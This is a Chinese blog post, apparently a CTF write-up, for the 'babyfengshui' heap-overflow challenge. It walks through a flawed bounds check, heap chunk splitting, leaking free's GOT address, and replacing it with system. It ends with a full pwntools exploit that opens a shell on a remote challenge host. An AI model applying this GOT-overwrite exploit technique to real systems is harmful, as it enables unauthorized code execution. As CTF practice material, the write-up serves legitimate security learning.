请注意,本文编写于 1317 天前,最后修改于 1317 天前,其中某些信息可能已经过时。
备战校赛,巩固heap的知识。题目没有使用高端的堆漏洞,只是考察了堆分配时的规则,算是一道比较基础的堆溢出题目。
首先打开文件运行一下,一道典型的菜单题目,我们可以输入,删除,修改,和展示。拖入IDA,分析一下,整道题目的具体逻辑。首先进入到各个操作中看看操作的具体流程。
好的,分析完各各模块基本功能后,我们开始具体的观察一下堆内的变化,找一找我们可以利用的地方。
首先是两个heap的地址:
x/32gx 0x804b080 //pre heap指针数组
x/32gx 0x804c000 //open heap动态配的heap
我们首先创建一个text具体参数如下:
1.size :0x40---64
name :AAAA
text length:0x20---32
text :BBBB
heap:0x804c008
?? if: text length+heap >= pre-4
0x20+0x804c008 >= 0x804c050-0x4
此时堆内的情况就十分的清楚了:
我们发现name其实是不占用我们申请的text空间的,他是被存放在0x80的堆中的。而再当堆成功创建后,base也记录了这个堆开始的地方。相关数据结构如下:(注意,第一个堆的编号为0)
有点抽象,可以自己GDB试一下。而整个程序判断溢出的方式也很简单:
起始地址1+input(text size)< 起始地址2-4
如果不满足,直接报错,结束程序。
这里我们继续在创建一个堆,验证一下我们的理解是否正确:
2.size:0x20-->32
name:c1234
text length:0x10
text:5678
heap:0x0804c0d8
完全正确,这时我试试free的功能,我们释放掉了0号块。在观察内存空间,按照堆的分配原理,他将0x20与0x80释放并且合成了一个大小为0xA0的空闲堆块。咦?那我们是不是可以通过再次申请大小正好可以放下0xA0的一个堆,此时0x80就没有了空间,他只能像TOP再次申请一段空间,此时两个块就会被分开。这时我们再看,溢出判断:text length+heap >= pre(会指向块的最末端)-4,我们就完成了堆的溢出。来一张图理解一下:
既然有了想法,按我们就开始动手试一试,看看我们能不能完成这个溢出。
思路:
1.size 0x20
name
text length
text
heap:
size:0x20+0x80
2.size 0x20
name
text length
text
heap:
size:0x20+0x80
heap now:
1 text heap size:0x20
1 heap ptr size:0x80
2 text heap size:0x20
2 heap ptr size:0x80
TOP
3.free 1heap
4.size:0xA0
name
text length
text
heap:
size:0xA0+0x80
heap now:
1 text heap size:0xA0
2 text heap size:0x20
2 heap ptr size:0x80
1 heap ptr size:0x80
TOP
仔细看,这时被heap就被分开了。ps:这张图与上两张图并不匹配,因为,我遇到了一个小问题。
小问题:
第一次我构造的时0x20+0x80=0xA0,虽然构造的时候使用的时0xA0,但是并没有成功。
emmm,可能是我有问题,但是我确实没找到合适的原因。
既然我们已经发现了漏洞,现在就差exp了。
emmmm,呀程序没有后门,那我们必须要借助got表的知识了,我们需要泄露出一个函数的地址,然后通过这个函数泄露system的地址,最终完成调用。看看,嗯free函数就比较合适,首先我们要知道,got表必须要被执行过一次才可以被加载为libc中的地址,而我们在溢出过程中是需要调用free函数的。
我们泄露地址其实就是got表里面的地址,然后我们可以直接对got表进行修改,将free的地址换为system的地址,这是我们就完成了偷梁换柱。这时我们只需要构建一个text="/bin/sh"就可以了,然后调用free,完成!相当于调用了system(text),text=/bin/sh
自己写exp还是不太行,参考了一下,最后写成这个样子了:
#coding:utf8
from pwn import *
from LibcSearcher import *
#sh = process('./babyfengshui1')
sh = remote('220.249.52.133',30315)
elf = ELF('./babyfengshui')
#libc = elf.libc
def create(size,name,textLen,content):
sh.sendlineafter('Action:','0')
sh.sendlineafter('size of description:',str(size))
sh.sendlineafter('name:',name)
sh.sendlineafter('text length:',str(textLen))
sh.sendafter('text:',content)
def delete(index):
sh.sendlineafter('Action:','1')
sh.sendlineafter('index:',str(index))
def show(index):
sh.sendlineafter('Action:','2')
sh.sendlineafter('index:',str(index))
def edit(index,textLen,content):
sh.sendlineafter('Action:','3')
sh.sendlineafter('index:',str(index))
sh.sendlineafter('text length:',str(textLen))
sh.sendafter('text:',content)
create(0x80,'heap0',0x80,'a'*0x80)
create(0x80,'heap1',0x80,'b'*0x80)
#存放/bin/sh字符串
create(0x10,'heap2',0x7,'/bin/sh')
delete(0)
create(0x100,'heap3',0x19C,'c'*0x198 + p32(elf.got['free']))
show(1)
sh.recvuntil('description: ')
free_addr = u32(sh.recv(4))
libc = LibcSearcher('free',free_addr)
libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')
#修改free的got表地址为system的地址
edit(1,4,p32(system_addr))
#getshell,相当于system(heap[2])
delete(2)
sh.interactive()
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!